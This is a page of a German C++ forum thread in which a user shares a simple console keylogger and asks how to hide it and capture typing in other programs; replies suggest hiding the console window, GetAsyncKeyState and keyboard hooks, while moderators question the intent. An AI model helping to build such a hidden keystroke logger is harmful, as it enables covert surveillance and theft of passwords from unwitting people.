Herzlich Willkommen, lieber Gast!
  Sie befinden sich hier:

  Forum » C / C++ (WinAPI, Konsole) » keylogger

Forum | Hilfe | Team | Links | Impressum | > Suche < | Mitglieder | Registrieren | Einloggen
  Quicklinks: MSDN-Online || STL || clib Reference Grundlagen || Literatur || E-Books || Zubehör || > F.A.Q. < || Downloads   

Autor Thread - Seiten: > 1 < [ 2 ]
000
22.06.2006, 17:35 Uhr
Co



hi, hab nen keylogger geschrieben:

C++:
#include <cstdlib>
#include <iostream.h>
#include <conio.h>
#include <fstream.h>


using namespace std;

int main(int argc, char *argv[])
{
   ofstream out ("getch.txt");
   char ch;
   int i=0;
    do
   {
   ch = getch();
   if (ch == VK_RETURN)
   {out << "enter";}
   if (ch == VK_BACK)
   {out << "Backspace";}
   if (ch == VK_SPACE)
   {out << "leer,";}
   out << ch <<",";
   i++;
   }
   while(i!=10);
  // return 0;
}




das is aber ne nothelfe. ich hätt gern, dass ch= getch() immer funzt, und ich kein i(!=unendlich) brauche und das out direkt erfolgt und nicht erst in die datei schreibt wenn das Progr ordnungsgemäß beendet wurde.
des weiteren wollt ich, dass das prog im hintergrund läuft, ohne dass man es sieht, aber trotzdem aktiv ist, auch wenn ich in word oder so schreibe.
kann mir da einer helfen?????????
danke
--
Wer später stirbt, hat mehr vom Leben.

Dieser Post wurde am 22.06.2006 um 18:16 Uhr von Co editiert.
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
001
22.06.2006, 18:23 Uhr
-Biohazard-



Hallo Co,
das mit dem versteckt machst du, indem du das Handle der Konsole ermittelst und es somit versteckst; so ist das getch() dann auch völlig überflüssig. Also:

Code:
HWND konsole = GetConsoleWindow();
ShowWindow( konsole, SW_HIDE );


Das mit dem Überprüfen der einzelnen Zeichen ist 1. unpraktisch, 2. klappt das nur bei aktiver Konsole. Google mal unter dem Befehl GetAsyncKeyState

-Biohazard-


PS: Wen willst du denn ärgern?
--

Dieser Post wurde am 22.06.2006 um 18:25 Uhr von -Biohazard- editiert.
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
002
22.06.2006, 21:21 Uhr
FloSoft
Medialer Over-Flow
(Administrator)


oder schau einfach in downloads unter keyboard-hook. Ansonsten ist es zweifelhaft was du machst, keylogger sind zu 99.9% böse
--
class God : public ChuckNorris { };
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
003
23.06.2006, 17:30 Uhr
Co



ok, bei mir net, is n reines Experiment. aber hat noch n Prob und zwar wird erst in die Datei geschrieben, wenn das Programm ordnungsgemäß über return 0;
beendet wurde. gibts da sone art online-inwriting, was jederzeit die daten aus der datei auslesen lässt, obwohl das prog noch läuft????
--
Wer später stirbt, hat mehr vom Leben.
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
004
23.06.2006, 18:20 Uhr
Oliver
S2-Pixelgeneral


Ich hab hier das Gefühl, dass ein neuer erpelqueen schlüpft...
--
Demokratie ist die Diktatur der Mehrheit.

www.siedler25.org/ ( Siedler2 - Remake )
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
005
23.06.2006, 20:15 Uhr
Co



nee is wirklich nur n experiment. übrigens mit dem online kram hat sich erledigt der neu e code is:

C++:
#include <iostream.h>
#include <conio.h>
#include <fstream.h>
#include <windows.h>
#include <winuser.h>
#include <string>
#include <windowsx.h>
#include <fstream>
#include <stdio.h>
#include <io.h>


using namespace std;
int main(int argc, char *argv[])
{
   ofstream out ("getch.txt");
  
  
   char ch;
   char a;
      
    for(;;)
   {
    ch = getch();
   if (ch == VK_RETURN)
   {out << " Enter\n"<<endl;}
   if (ch == VK_BACK)
   {out << " Backspace "<<endl;}
   if (ch == VK_SPACE)
   {out << " "<<endl;}
   if (ch == VK_TAB)
   {out << " Tab "<<endl;}
   out <<ch<<endl;

   }
  
  
  return 0;
}



so jetzt hab ich aber keien lust, dass nach jedem teile ne neue zeile geschriebn wird. wie verhinder ich das, aber das prog trotzdem noch in die datei schreibt?
--
Wer später stirbt, hat mehr vom Leben.
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
006
24.06.2006, 11:07 Uhr
FloSoft
Medialer Over-Flow
(Administrator)



C++:
out << ch << flush;


--
class God : public ChuckNorris { };
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
007
24.06.2006, 16:23 Uhr
Co



ok danke, aber das mit dem verstecken klpatt net, noch mal bite genauer. ich möcht das fenster verstecken, aber aktiv halten.
--
Wer später stirbt, hat mehr vom Leben.
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
008
24.06.2006, 16:54 Uhr
FloSoft
Medialer Over-Flow
(Administrator)


das geht nicht, verstecken geht, siehe beitrag 001, aktiv halten danach nicht, es verliert automatisch den eingabefokus.
--
class God : public ChuckNorris { };
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
009
24.06.2006, 21:05 Uhr
J-jayz-Z
Perl Crack ala Carte
(Operator)


guggst du keyboard hook
--
perl -Mstrict -Mwarnings -e 'package blub; sub new { bless {} } sub bar {my $self=shift; $self->{bla}="66756e2d736f66742e6465"; return $self->{bla};} my $foo=blub->new();print "Hallo ";print pack("H*",$foo->bar()); print "\n"'
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
Seiten: > 1 < [ 2 ]     [ C / C++ (WinAPI, Konsole) ]  


ThWBoard 2.73 FloSoft-Edition
© by Paul Baecher & Felix Gonschorek (www.thwboard.de)

Anpassungen des Forums
© by Flo-Soft (www.flo-soft.de)

Sie sind Besucher: